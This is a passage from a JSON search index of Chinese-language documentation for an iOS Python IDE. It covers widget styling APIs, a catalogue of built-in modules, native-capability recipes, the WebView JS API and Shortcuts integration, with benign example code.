w.symbol(..., rendering=\"palette\", palette=[...]):SF Symbol 多色渲染。 图标参与染色 → .accentable(True);文案保持设计色 → .accentable(False)。 分层卡片(layer 背景) 用 layer 叠一块圆角面板,不必整张 Widget 都上色。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\naccent = widget.param.color(\"面板强调\", \"#10B981\")\ntask = widget.param.text(\"待办\", \"整理发票拍照\")\n\nw = widget.Widget(background=(\"#F1F5F9\", \"#020617\"), padding=14)\nw.text(\"桌面便签\", size=14, color=\"secondary\").line_limit(1)\nwith w.layer(background=(\"#FFFFFF\", \"#1E293B\"), corner_radius=12, padding=12):\n with w.row(spacing=8):\n w.symbol(\"checkmark.circle\").color(accent).font_size(18)\n w.text(task, size=15, weight=\"semibold\").line_limit(1).min_scale(0.72)\n w.text(\"下班前完成\", size=12, color=\"secondary\").line_limit(1)\nw.render() 图片背景(background_image + 文件参数) 浅色/深色各选一张图;scrim=\"bottom\" 在底部加渐变遮罩,保证白字可读。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nlight_bg = widget.param.file(\"浅色背景\", \"\", extensions=[\"jpg\", \"jpeg\", \"png\"])\ndark_bg = widget.param.file(\"深色背景\", \"\", extensions=[\"jpg\", \"jpeg\", \"png\"])\ntitle = widget.param.text(\"标题\", \"周末登山\")\n\nw = widget.Widget(padding=14)\nw.background_image(\n (light_bg, dark_bg),\n content_mode=\"fill\",\n focal=\"center\",\n scrim=\"bottom\",\n scrim_opacity=0.48,\n)\nw.text(title, size=18, weight=\"bold\", color=\"#FFFFFF\").line_limit(1).min_scale(0.72)\nw.text(\"海拔 1280m\", size=12, color=\"#E2E8F0\").line_limit(1)\nw.render() 预览侧栏用文件参数选图;路径相对于 widget 脚本或项目 assets/。 focal=\"topTrailing\" 等控制 fill 裁剪焦点;content_mode=\"fit\" 可整张展示不裁剪。 头像位图(w.image) 角标/封面用 w.image;支持圆角与浅色/深色双资源。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\navatar = widget.param.file(\"头像\", \"\", extensions=[\"png\", \"jpg\", \"jpeg\"])\nframe = widget.family_value(44, small=36, large=52)\n\nw = widget.Widget(background=(\"#FFFFFF\", \"#111827\"), padding=14)\nwith w.row(spacing=12):\n w.image(avatar, width=frame, height=frame, corner_radius=frame / 2, content_mode=\"fill\")\n with w.column(spacing=4):\n w.text(\"Py 开发者\", size=15, weight=\"semibold\").line_limit(1).min_scale(0.72).line_limit(1)\n w.text(\"本周 commit +12\", size=12, color=\"secondary\").line_limit(1)\nw.render() 若有两张图,可写 w.image(light=\"avatar light.png\", dark=\"avatar dark.png\", ...) 或元组 w.image((\"light.png\", \"dark.png\"), ...)。 SVG 图标(w.svg) 适合单色可着色的矢量角标;文件放 assets/ 或通过 param.file 选择。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nicon = widget.param.file(\"图标\", \"\", extensions=[\"svg\"])\naccent = widget.param.color(\"图标色\", \"#22C55E\")\nsize = widget.family_value(28, small=24, large=32)\n\nw = widget.Widget(background=(\"#FAFAFA\", \"#1C1C1E\"), padding=14)\nwith w.row(spacing=10):\n w.svg(icon, width=size, height=size, color=accent, content_mode=\"fit\")\n with w.column(spacing=2):\n w.text(\"自定义 SVG\", size=15, weight=\"semibold\").line_limit(1).min_scale(0.72).line_limit(1)\n w.text(\"path + viewBox 图标\", size=12, color=\"secondary\").line_limit(1)\nw.render() 预览侧栏选本地 .svg 文件;简单场景优先 w.symbol(...),免维护文件。 隐私占位(锁屏敏感信息) 步数等敏感数字在锁屏可模糊;与 时间线和动画 的 numericText 可叠加。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nsteps = widget.state.int(\"steps\", 8420)\n\nw = widget.Widget(background=(\"#F0FDF4\", \"#14532D\"), padding=14)\n(\n w.text(\"今日步数\", size=14, color=\"secondary\")\n .line_limit(1)\n .privacy_sensitive()\n)\n(\n w.value(steps, unit=\"步\")\n .monospaced_digit()\n .line_limit(1)\n .min_scale(0.72)\n .privacy_sensitive()\n .redacted(\"placeholder\")\n)\nw.text(\"锁屏显示占位,解锁后见完整数字\", size=11, color=\"secondary\").line_limit(1)\nw.render() .privacy_sensitive():标记敏感内容。 .redacted(\"placeholder\"):锁屏显示系统占位样式。 透明背景 请求透明需 同时 声明容器可移除与透明开关;桌面是否真透明取决于宿主与系统。 w = widget.Widget(padding=12)\nw.transparent_background(True)\nw.container_background(\"clear\", removable=True)\nw.content_margins(False)\nw.text(\"透明卡片\", size=15, weight=\"semibold\").accentable(True)\nw.render() 不要在透明卡片上再叠不透明全屏 Widget(background=...),否则透明意图会被盖住。 API 参考 背景与容器 # 纯色 / 双色 / 渐变\nw = widget.Widget(background=\"#FFFFFF\")\nw = widget.Widget(background=(\"#F8FAFC\", \"#0F172A\"))\nw = widget.Widget(background={\"gradient\": [\"#3B82F6\", \"#8B5CF6\"], \"direction\": \"horizontal\"})\n\nw.background((\"#FAFAFA\", \"#18181B\")) # 运行时改根背景\nw.container_background(bg, removable=True) # 系统容器底\nw.transparent_background(True) # 请求透明\nw.content_margins(False) # 边到边\n\nw.background_image(\n (\"day.jpg\", \"night.jpg\"),\n content_mode=\"fill\",\n scrim=\"bottom\",\n scrim_opacity=0.45,\n focal=\"center\",\n) 图标与图片 w.symbol(\"star.fill\", scale=\"large\").color(\"#F59E0B\")\nw.symbol(\"paintpalette.fill\", rendering=\"palette\", palette=[\"#EF4444\", \"#3B82F6\"])\n\nw.svg(\"assets/logo.svg\", width=24, height=24, color=\"#111827\")\nw.image(\"cover.jpg\", width=60, height=60, corner_radius=8)\nw.image(light=\"avatar-light.png\", dark=\"avatar-dark.png\", rendering_mode=\"accented\") 外观修饰符 w.text(\"标题\").accentable(False)\nw.symbol(\"bell.fill\").accentable(True)\nw.text(\"余额\").privacy_sensitive().redacted(\"placeholder\") 运行时保存图片 # 脚本中下载或生成后注册,供 w.image / background_image 按名称引用\npath = widget.save_image(\"https://example.com/pic.png\", \"cover\")\nw.image(\"cover\", width=80, height=80) 完整签名见 API 参考:container_background、background_image、transparent_background、symbol、svg、image、.accentable、.privacy_sensitive、.redacted。 常见错误 错误写法 后果 修正 染色模式下标题变色 未关闭 accentable 设计色文案 `.accentable(False)` 图标不跟系统色 写了 `.accentable(False)` 应用染色的图标 `.accentable(True)` 深色模式图片发灰 只有浅色图 `background_image((light, dark))` 或 `image(light=, dark=)` 透明不生效 只设了 Widget 底色 `transparent_background` + `container_background(removable=True)` SVG 空白 路径错或预览无文件 放 `assets/` 或用 `param.file` 重选 背景图字看不清 无遮罩 `scrim=\"bottom\"` + `scrim_opacity` 用手写 rect 模拟系统底 与 WidgetKit 策略冲突 用 `container_background` / `transparent_background` `w.symbol(..., color=, size=)` `TypeError` `w.symbol(\"name\").color(c).font_size(n)` 失败路径 现象 处理 预览浅色正常、深色异常 检查 `(light, dark)` 是否成对提供 Tinted 模式颜色全乱 梳理每个节点的 `accentable` 默认值与显式设置 图片不显示 路径、`extensions`、是否已 `save_image` 注册 SVG 构建报错 确认是图标级 SVG(viewBox + path);复杂 SVG 可能需简化 锁屏数字太清晰 加 `.privacy_sensitive()` + `.redacted(\"placeholder\")` 透明在桌面无效 系统/宿主限制;回退半透明双色背景 预览与桌面不一致 重新发布;查 [排错](widget-troubleshooting) 相关文档 文档 用途 [widget 概览](widget-module) 总览 [参数面板](widget-parameters) `param.color` / `param.file` [布局与尺寸](widget-layout) 图标尺寸、`family_value` [时间线和动画](widget-timeline) `numericText` 与隐私数字叠加 [排错](widget-troubleshooting) 预览/桌面外观不一致 [API 参考](widget-api-reference) 完整签名 相关 API:widget api reference.md" + }, + { + "id": "modules-index", + "title": "全部模块总览", + "subtitle": "按分类查看全部 30+ 内置 Python 模块。", + "section": "自动化与扩展 / 参考", + "url": "pages/modules-index/", + "text": "全部模块总览 按分类查看全部 30+ 内置 Python 模块。 自动化与扩展 参考 Index Modules Overview 全部模块 模块总览 模块列表 modules index all modules 原生能力 全部模块总览 主入口 :iOS 原生能力(入口模型、Python 模块表、AppUI 原生组件入口、专题页与文档导航)。本文是 补充索引 ,按导入名浏览全部模块。 按分类浏览 PythonIDE 内置 Python 模块,快速找到对应能力文档。 边界 :这是 模块索引页 ,不是 import 名。选定模块后打开具体文档;页面型 MiniApp 优先 appui,小组件用 widget。 模块概览 项 说明 导入 表中「导入名」列,如 `import photos` 适合做什么 按任务选运行时与原生模块 页面型 App [appui](appui) + 原生模块按钮回调 小组件 [widget](widget-module) 游戏/绘制 [scene](scene-module) / [turtle](turtle-module) 快速开始 保存设置、读设备、查通知权限: import device\nimport notification\nimport storage\n\nstorage.set(\"theme\", \"system\")\nprint(\"device\", device.model(), device.system_version())\nprint(\"theme\", storage.get(\"theme\", \"system\"))\n\nif notification.authorization_status() != \"authorized\":\n notification.request_permission() AppUI 示例 用索引思路组合三个常用模块:设置、设备、通知。 import appui\nimport device\nimport notification\nimport storage\n\nstate = appui.State(\n theme=storage.get(\"theme\", \"system\"),\n model=\"—\",\n notify_auth=\"—\",\n message=\"点击按钮开始\",\n)\n\n\ndef refresh_all():\n state.model = device.model()\n state.notify_auth = str(notification.authorization_status())\n state.message = \"已刷新\"\n\n\ndef save_theme():\n storage.set(\"theme\", state.theme)\n state.message = f\"已保存主题: {state.theme}\"\n\n\ndef request_notify():\n result = notification.request_permission()\n state.notify_auth = str(notification.authorization_status())\n state.message = \"已授权\" if result.get(\"granted\") else \"未授权\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"设置\", [\n appui.Picker(\n \"主题\",\n selection=state.theme,\n options=[\"system\", \"light\", \"dark\"],\n ).picker_style(\"segmented\"),\n appui.Button(\"保存主题\", action=save_theme)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"设备与通知\", [\n appui.Button(\"刷新状态\", action=refresh_all),\n appui.Button(\"申请通知权限\", action=request_notify),\n appui.LabeledContent(\"型号\", value=state.model),\n appui.LabeledContent(\"通知授权\", value=state.notify_auth),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"模块总览\")\n )\n\n\nappui.run(body, state=state) API 参考 先选运行时 目标 首选 工具页、设置页、列表页、媒体控制 [appui](appui) 主屏/锁屏/StandBy 小组件 [widget](widget-module) Pythonista 风格命令式 UI [ui](ui-module) 2D 游戏、物理、逐帧绘制 [scene](scene-module) 系统能力(照片、定位等) 对应原生模块 + AppUI 按钮 纯脚本、日志输出 Python + [console](console-module) UI 与渲染 模块 导入名 用途 [appui](appui) `import appui` 声明式原生界面与 MiniApp [aurora_system](aurora-system) `import aurora_system` 相机、传感器等实时事件 [aurora_toolkit](aurora-toolkit) `import aurora_toolkit` 高频更新与批量刷新工具 [ui](ui-module) `import ui` Pythonista 风格 UI [scene](scene-module) `import scene` 2D 场景、`scene.run`、节点、Action、物理与 Classic 绘图 [turtle](turtle-module) `import turtle` 原生 turtle 绘图 设备与传感器 模块 导入名 用途 [device](device-module) `import device` 设备、屏幕、电池 [location](location-module) `import location` 定位、指南针、地理编码 [motion](motion-module) `import motion` 加速度计、陀螺仪、气压计 [haptics](haptics-module) `import haptics` 触觉反馈 [biometric](biometric-module) `import biometric` Face ID / Touch ID [health](health-module) `import health` HealthKit 数据 系统服务 模块 导入名 用途 [permission](permission-module) `import permission` 统一权限查询与申请 [storage](storage-module) `import storage` UserDefaults 键值 [database](database-module) `import database` SQLite 与 JSON collection [keychain](keychain-module) `import keychain` 钥匙串 [clipboard](clipboard-module) `import clipboard` 剪贴板 [console](console-module) `import console` 弹窗、HUD [dialogs](dialogs-module) `import dialogs` 表单与选择器对话框 [notification](notification-module) `import notification` 本地通知 [calendar_events](calendar-events-module) `import calendar_events` 日历与提醒 [contacts](contacts-module) `import contacts` 联系人 [live_activity](live-activity-module) `import live_activity` Live Activity [nfc](nfc-module) `import nfc` NFC 读写 [alarm](alarm-module) `import alarm` 系统闹钟 [mail](mail-module) `import mail` 邮件撰写 [message](message-module) `import message` 短信 / iMessage [translation](translation-module) `import translation` 设备端翻译 [foundation_models](foundation-models-module) `import foundation_models` 端侧文本生成 [assistant](assistant-module) `import assistant` 端侧助手与工具 [storekit](storekit-module) `import storekit` 内购与订阅 [font_picker](font-picker-module) `import font_picker` 字体选择器 媒体与视觉 模块 导入名 用途 [photos](photos-module) `import photos` 相册、拍照、保存 [camera](camera-module) 见 photos 拍照(`photos.capture_image`) [file_picker](file-picker-module) 见 appui 文件选择(`FileImporter`) [share](share-module) 见 appui 分享(`ShareLink`) [avplayer](avplayer-module) `import avplayer` 音视频播放 [music_player](music-player-module) `import music_player` 队列式音乐播放器 [sound](sound-module) `import sound` 音效与本地播放器 [now_playing](now-playing-module) `import now_playing` 锁屏正在播放元数据 [audio_recorder](audio-recorder-module) `import audio_recorder` 录音 [video_recorder](video-recorder-module) `import video_recorder` 录像 [audio_session](audio-session-module) `import audio_session` 音频会话 [speech](speech-module) `import speech` 文字转语音 [speech_recognition](speech-recognition-module) `import speech_recognition` 语音识别 [shazam](shazam-module) `import shazam` 听歌识曲 [music](music-module) `import music` Apple Music 控制 [media_composer](media-composer-module) `import media_composer` 音视频合成 [pdf](pdf-module) `import pdf` PDF 创建与预览 [qrcode](qrcode-module) `import qrcode` 二维码生成 [vision](vision-module) `import vision` OCR [vision_helper](vision-helper) `import vision_helper` 人脸、条码、分类 [coreml](coreml-module) `import coreml` Core ML 推理 网络与数据 模块 导入名 用途 [network](network-module) `import network` HTTP、下载 [websocket](websocket-module) `import websocket` WebSocket 客户端 [bluetooth](bluetooth-module) `import bluetooth` BLE 中心模式 [ble_peripheral](ble-peripheral-module) `import ble_peripheral` BLE 外设模式 [background](background-module) `import background` 后台任务 [background_download](background-download-module) `import background_download` 后台下载 [http_server](http-server-module) `import http_server` 本地 HTTP 服务 [ssh](ssh-module) `import ssh` SSH / SFTP [weather](weather-module) `import weather` 天气 [c_extensions](c-extensions-module) 不是 import 名 内置 C 扩展清单 自动化与扩展 模块 导入名 用途 [widget](widget-module) `import widget` WidgetKit 小组件 [shortcuts](shortcuts-module) `import shortcuts` 快捷指令 [objc_util](objc-util-module) `import objc_util` ObjC Runtime [keyboard](keyboard-module) `import keyboard` 编辑器键盘工具栏 常见错误 错误写法 后果 修正 不选运行时直接用原生模块堆 UI 难维护 页面用 `appui` `import c_extensions` 模块不存在 用真实包名 索引页当 API 文档 签名错误 点进具体模块页 权限未说明用途就申请 被拒率高 先展示说明再按钮申请 敏感数据用 `storage` 不安全 用 `keychain` 相关文档 文档 用途 [iOS 原生能力](ios-native) 入口模型、模块表与权限矩阵 [原生能力入口](miniapp-native-capabilities) MiniApp 配方 [permission](permission-module) 权限 [appui](appui) 声明式 UI 发布前检查 已选对运行时(AppUI / widget / scene / ui) 模块 API 名与文档一致 权限与失败路径已在示例或正文中说明 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。" + }, + { + "id": "miniapp-native-capabilities", + "title": "原生能力入口", + "subtitle": "MiniApp 常用原生能力入口,不是完整模块总表。", + "section": "自动化与扩展 / 参考", + "url": "pages/miniapp-native-capabilities/", + "text": "原生能力入口 MiniApp 常用原生能力入口,不是完整模块总表。 自动化与扩展 参考 Native System Modules miniapp 原生能力 location photos notification storage live_activity keyboard permission device network haptics dynamic island 锁屏 userdefaults 定位 相册 通知 存储 原生能力入口 主文档已合并 :入口模型、Python 模块表、AppUI 原生组件入口表与侧边栏导航均由 schema 生成,请优先阅读 iOS 原生能力 。本文仅保留历史深链,不再维护独立能力表。 MiniApp 场景下的原生能力配方:按任务选模块、组合调用、状态写回界面。 边界 :这是 MiniApp 配方索引 ,不是可 import 的模块。完整 API 以各模块文档为准;系统调用放在按钮回调,不要写在 body() 里。 模块概览 项 说明 导入 按场景 `import` 对应模块(如 `photos`、`storage`) 适合做什么 选图、定位、通知、持久化、网络列表等 MiniApp 常见流 调用时机 按钮、刷新、选择器触发;`body()` 只读 `State` 数据分工 设置 `storage`、记录 `database`、密钥 `keychain` 反馈 成功/取消/失败都写回 `State` 或 HUD 快速开始 保存主题并触发触觉反馈: import haptics\nimport storage\n\nstorage.set(\"demo.theme\", \"Dark\")\nif haptics.is_supported():\n haptics.notification(\"success\")\nprint(\"已保存:\", storage.get(\"demo.theme\")) AppUI 示例 设备信息、快照、通知组合;所有原生调用在按钮回调里。 import appui\nimport device\nimport haptics\nimport notification\nimport storage\n\nSNAPSHOT_KEY = \"native.snapshot\"\nREMINDER_ID = \"native.snapshot.reminder\"\n\nstate = appui.State(\n message=\"就绪\",\n rows=[\n {\"id\": \"model\", \"title\": \"型号\", \"value\": \"点击刷新\"},\n {\"id\": \"battery\", \"title\": \"电量\", \"value\": \"—\"},\n ],\n)\n\n\ndef row_key(row):\n return row[\"id\"]\n\n\ndef row_view(row):\n return appui.LabeledContent(row[\"title\"], value=row[\"value\"])\n\n\ndef refresh_device_info():\n state.rows = [\n {\"id\": \"model\", \"title\": \"型号\", \"value\": device.model()},\n {\"id\": \"battery\", \"title\": \"电量\", \"value\": f\"{device.battery_level():.0%}\"},\n ]\n state.message = \"设备信息已刷新\"\n\n\ndef save_snapshot():\n storage.set_json(SNAPSHOT_KEY, state.rows)\n if haptics.is_supported():\n haptics.notification(\"success\")\n state.message = \"快照已保存\"\n\n\ndef remind_later():\n perm = notification.request_permission()\n if not perm.get(\"granted\"):\n state.message = \"未获得通知权限\"\n return\n\n result = notification.schedule(\n REMINDER_ID,\n \"原生快照\",\n \"查看已保存的设备快照\",\n delay=60,\n )\n state.message = f\"已调度提醒: {result}\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"设备\", [\n appui.ForEach(state.rows, row_builder=row_view, key=row_key),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"刷新设备\", action=refresh_device_info),\n appui.Button(\"保存快照\", action=save_snapshot)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"1 分钟后提醒\", action=remind_later),\n ], footer=state.message),\n ]).navigation_title(\"原生能力\")\n )\n\n\nappui.run(body, state=state) API 参考 能力入口 能力 主文档 典型用途 定位与地图 [location](location-module) 坐标、地理编码、指南针 相册与相机 [photos](photos-module) 选图、拍照、保存 通知与实时活动 [notification](notification-module)、[live_activity](live-activity-module) 提醒、角标、锁屏状态 持久化 [storage](storage-module)、[database](database-module)、[keychain](keychain-module) 设置、记录、密钥 设备与传感器 [device](device-module)、[motion](motion-module) 屏幕、电池、传感器 触觉与声音 [haptics](haptics-module)、[sound](sound-module) 反馈、提示音 网络 [network](network-module)、[websocket](websocket-module) HTTP、实时连接 编辑器工具栏 [keyboard](keyboard-module) 插入代码片段 场景配方 目标 推荐组合 说明 选图并保存设置 `appui` + `photos` + `storage` 按钮触发 picker,路径写入 `State` 下载并存相册 `network` + `photos` 下载到本地再 `save_video` 地图展示位置 `permission` + `location` + `MapView` 先查权限再定位 健康面板 `permission` + `health` + `Chart` 拒绝时显示空状态 提醒任务 `notification` + `storage` 稳定 `identifier` 调度/取消 播放历史 `database` + `List` 大列表勿塞 `storage` 安全配置 `biometric` + `keychain` + `Form` 密钥进 keychain 传感器面板 `motion` + `haptics` 高频数据避免每帧重建 UI 远端列表 `network` + `List` + `.refreshable` 请求放刷新回调 使用规则 权限类能力先查状态,再请求。 触觉、通知、声音不要在循环里连续触发。 写代码前打开对应模块文档,按公开 Python API 调用。 常见错误 错误写法 后果 修正 在 `body()` 里请求权限/发通知 刷新时反复弹窗 放进按钮回调 token 写入 `storage` 或日志 泄露风险 用 `keychain` 权限拒绝后空白页 用户不知原因 显示说明与重试按钮 用户取消选择未处理 崩溃或脏状态 判断 `None` 并保留原状态 网络失败清空旧数据 体验差 保留缓存并显示错误 相关文档 文档 用途 [iOS 原生能力](ios-native) 入口模型、模块表与权限矩阵 [全部模块总览](modules-index) 按分类浏览模块 [运行时选择](miniapp-choose-runtime) appui / scene / widget 选型 [permission](permission-module) 统一权限查询与申请 [photos](photos-module) 相册与相机 [notification](notification-module) 本地通知 使用原则 原生能力放在用户触发的回调里,不要写在 body() 构建期 先查最小模块,再组合;避免一次 import 多个无关模块 返回值、取消和拒绝都要给用户可见反馈 失败路径 情况 处理 权限拒绝 提示去设置开启,并保留当前页面 设备不支持 用 `is_available()` 或模块返回值判断 用户取消 不要当作成功继续写数据 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。" + }, + { + "id": "js-api", + "title": "JS API 说明", + "subtitle": ".js 文件可调用的接口与示例。", + "section": "自动化与扩展 / 快速上手", + "url": "pages/js-api/", + "text": "JS API 说明 .js 文件可调用的接口与示例。 自动化与扩展 快速上手 JavaScript API Clipboard js api alert fetch localStorage device notification JS API 说明 .js 文件可以调用一组由应用提供的 JS 接口,用来输出日志、弹窗、读写文件、访问剪贴板、发送网络请求、触发通知和读取设备信息。 预期效果 WebView 示例会显示一个按钮,点击后写入剪贴板并把读取结果显示在页面里。 先选 JS 还是 Python 需求 首选 原因 HTML 里响应按钮、更新 DOM、展示轻量交互 JS API 逻辑离页面最近,回调能直接更新元素。 原生表单、列表、导航、图表和媒体页面 `appui` 原生控件、状态和可访问性更完整。 复杂网络请求、鉴权、上传下载、文件批处理 Python 模块 错误处理和数据处理更清晰。 照片、定位、通知、健康、蓝牙等系统能力 原生模块 权限、取消和不可用状态有明确约定。 只嵌入一个静态说明页或预览页 `WebView(html=...)` JS API 可以只用于复制、打开链接和轻提示。 API 分组 分组 API 用途 console `console.log`, `console.warn`, `console.error` 日志输出 弹窗 `alert`, `confirm`, `prompt` 短流程阻塞输入 剪贴板 `getClipboard`, `setClipboard` 读取和写入文本 存储 `localStorage` 小型持久键值状态 网络 `fetch` HTTP GET 辅助函数 系统 `openURL`, `openSettings`, `getDeviceInfo` 系统接口 在 WebView 里使用 如果你要把 HTML 嵌入 AppUI,先用 WebView(html=...) 放入页面,再在 HTML 中调用注入的 JS API。 import appui\n\nhtml = \"\"\"\n\n

等待操作

\n\n\"\"\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.WebView(html=html).navigation_title(\"JS API\")\n )\n\n\nappui.run(body) 写 JS API 的心智模型 宿主:JS API 只在应用提供的 WebView 环境里存在。 触发:剪贴板、通知、打开 URL、文件写入等能力由点击或明确动作触发。 回调:多数系统能力是回调式 API,先更新 DOM,再记录必要日志。 数据:小状态用 localStorage,复杂数据和敏感数据交给 Python 模块。 边界:WebView 负责展示和轻交互,业务流程由 AppUI 或 Python 承载。 console 输出 console.log(\"Hello\")\nconsole.warn(\"警告\")\nconsole.error(\"错误信息\") alert / confirm / prompt alert(\"提示\")\n\nconfirm(\"确定吗?\", function(ok) {\n console.log(ok)\n})\n\nprompt(\"请输入\", \"默认\", function(text) {\n console.log(text)\n}) 剪贴板 getClipboard(function(text) {\n console.log(text)\n})\n\nsetClipboard(\"复制的内容\") localStorage localStorage.setItem(\"key\", \"value\")\nvar value = localStorage.getItem(\"key\")\nlocalStorage.removeItem(\"key\") 文件读写 readFile(\"a.txt\", function(err, content) {\n console.log(err || content)\n})\n\nwriteFile(\"b.txt\", \"内容\", function(err) {\n console.log(err || \"ok\")\n})\n\nlistDir(\".\", function(err, jsonText) {\n console.log(err || JSON.parse(jsonText))\n}) fetch 网络请求 fetch(\"https://httpbin.org/get\")\n .then(function(body) {\n console.log(body)\n })\n .catch(function(err) {\n console.error(err)\n }) 通知 requestNotificationPermission(function(granted) {\n if (granted) {\n scheduleNotification(\"标题\", \"内容\", 3)\n }\n}) 设备与系统 console.log(getBatteryLevel(), isCharging())\nconsole.log(getDeviceInfo())\nopenURL(\"https://apple.com\")\nopenSettings() 常用工具 vibrate(\"light\")\n\nvar now = getCurrentTime()\nconsole.log(formatDate(now, \"yyyy-MM-dd HH:mm\"))\n\nconsole.log(hash(\"hello\", \"sha256\"))\n\nqrcode(\"https://www.python.org\", function(err, base64) {\n console.log(err || base64)\n}) 定时器 var timer = setTimeout(function() {\n console.log(\"1 秒后\")\n}, 1000)\n\nvar interval = setInterval(function() {\n console.log(\"每 2 秒\")\n}, 2000)\n\nclearTimeout(timer)\nclearInterval(interval) 截图和加载提示 showLoading(\"处理中...\")\n\ntakeScreenshot(function(err, base64) {\n hideLoading()\n console.log(err ? err : \"base64 长度:\" + base64.length)\n}) 失败路径 情况 应该怎么处理 API 未定义 确认代码运行在应用提供的 WebView 环境里,而不是普通外部浏览器。 回调没有触发 把结果写到页面元素或 console,先确认按钮事件已绑定。 文件或通知失败 检查用户动作、权限和文件路径;失败时显示简短错误。 请求复杂接口 复杂 HTTP、鉴权和上传流程优先交给 Python `network` 模块。 发布前检查 检查项 合格标准 环境 页面在 AppUI `WebView` 中运行,不依赖外部浏览器注入 API。 触发 剪贴板、通知、打开 URL 和文件写入由用户点击触发。 回调 成功、取消和失败都更新页面元素,不只写 console。 数据 secret 不放进 `localStorage`,复杂数据交给 Python 保存。 边界 复杂 HTTP、权限和原生能力不堆在网页脚本里。 使用规则 JS API 是应用提供的接口,不等同于浏览器完整 Web API。 文件 API 适合读写脚本工作区里的小文件,不适合大文件流式处理。 fetch 是轻量 GET 辅助函数;复杂请求优先用 Python network 模块。 弹窗、通知、剪贴板这类能力必须由明确用户动作触发。 如果页面不需要 DOM,优先使用 Python 原生模块和 AppUI 组件。" + }, + { + "id": "shortcuts-guide", + "title": "快捷指令", + "subtitle": "系统快捷指令集成、自动化和 URL 跳转。", + "section": "自动化与扩展 / 快速上手", + "url": "pages/shortcuts-guide/", + "text": "快捷指令 系统快捷指令集成、自动化和 URL 跳转。 自动化与扩展 快速上手 Shortcuts Automation Siri 快捷指令 automation siri url scheme run script 快捷指令 系统快捷指令集成、自动化和 URL 跳转。 预期效果 示例会展示系统快捷指令入口和 Python shortcuts 模块的最小调用。 先选入口 目标 推荐方式 从系统快捷指令里运行 Python 脚本 使用“运行 Python 脚本”动作。 从 App 内按钮触发已有快捷指令 在 AppUI 回调里调用 `shortcuts.run_shortcut(...)`。 打开网页、深链或系统设置 调用 `shortcuts.open_url(...)` 或 `shortcuts.open_settings()`。 需要表单、确认和结果展示 用 AppUI 承载页面,把快捷指令能力放进按钮。 需要长期后台自动化 使用系统快捷指令自动化,不把循环写进前台页面。 什么时候用 想从 Python 脚本触发一个已经存在的系统快捷指令。 想打开 URL、深链或当前 App 的设置页。 想把 PythonIDE 的脚本能力接入 iOS 快捷指令自动化。 可用动作 动作 用途 运行 Python 代码 执行短代码片段 运行 Python 脚本 执行工作区 .py 文件并传参 在应用中运行 打开 App 运行需要输入或 UI 的脚本 获取脚本输出 读取不等待运行后的输出 创建 Python 脚本 创建 .py 文件后再运行 测试代码 print(\"hello\") Python 模块示例 import shortcuts\n\nshortcuts.run_shortcut(\"Daily Log\")\nshortcuts.open_url(\"https://www.apple.com\")\nshortcuts.open_settings() AppUI 中的推荐接法 import appui\nimport shortcuts\n\nstate = appui.State(status=\"等待操作\")\n\n\ndef run_daily_log():\n ok = shortcuts.run_shortcut(\"Daily Log\")\n state.status = \"已触发\" if ok else \"未能触发\"\n\n\ndef open_settings():\n shortcuts.open_settings()\n state.status = \"已打开设置\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"快捷指令\", [\n appui.Button(\"运行 Daily Log\", action=run_daily_log),\n appui.Button(\"打开设置\", action=open_settings),\n ]),\n appui.Section(\"状态\", [\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"快捷指令\")\n )\n\n\nappui.run(body, state=state) 预期效果:页面提供两个明确按钮;触发失败不会中断页面,状态区域会显示结果。 失败路径 情况 应该怎么处理 系统入口不可用 显示不可用状态,不重复触发打开动作。 用户取消或没有配置 保持原页面状态,并提示需要先配置对应系统能力。 回调没有返回预期结果 记录简短状态,避免把长日志或敏感内容展示给用户。 需要复杂界面 用 `appui` 承载页面,把自动化能力放在按钮回调里调用。 使用规则 run_shortcut(...) 需要用户设备上已经存在同名快捷指令。 打开 URL 和运行快捷指令都应该由明确操作触发,不要在导入模块时自动执行。 如果要做多步骤界面流程,优先用 AppUI;快捷指令适合系统自动化入口。 发布前检查 检查项 合格标准 快捷指令名称 设备上已经存在同名快捷指令。 触发时机 运行快捷指令和打开 URL 都由按钮、菜单或系统动作触发。 结果反馈 成功、取消、未配置和不可用状态都有简短提示。 页面边界 多步骤交互放在 AppUI,不把 UI 流程塞进系统动作。 相关文档 文档 用途 [shortcuts](shortcuts-module) 运行快捷指令、打开 URL、进入设置。" + }, + { + "id": "c-extensions-module", + "title": "c_extensions", + "subtitle": "内置扩展库清单、可用范围和替代建议。", + "section": "自动化与扩展 / 模块", + "url": "pages/c-extensions-module/", + "text": "c_extensions 内置扩展库清单、可用范围和替代建议。 自动化与扩展 模块 Packages Built-in Native Extension c_extensions 内置库 numpy pandas matplotlib 预编译扩展 c_extensions 内置 C 扩展库清单、可用范围与替代建议。 文档页,不是可导入模块。 边界 :不要写 import c_extensions。第三方含 C/Rust/native 扩展的包,仅 已内置 或当前环境能安装的可用;opencv、torch、scipy 等桌面常见包通常无法直接 pip 到 iOS。优先用内置包、纯 Python 或 PythonIDE 原生模块。 模块概览 项 说明 导入 无;使用真实包名如 `import numpy` 适合做什么 判断能否 `import`、选替代路线、写降级逻辑 调用时机 脚本开头 `try/except ImportError` 推荐顺序 查下表 → 尝试 import → 失败则换路线 OCR/ML 用 [vision](vision-module)、[coreml](coreml-module),非 pip 装 CV 包 快速开始 安全使用已内置的 numpy: try:\n import numpy as np\nexcept ImportError:\n np = None\n\nvalues = [1, 2, 3, 4, 5]\nif np is None:\n mean = sum(values) / len(values)\nelse:\n mean = float(np.array(values).mean())\nprint(mean) AppUI 示例 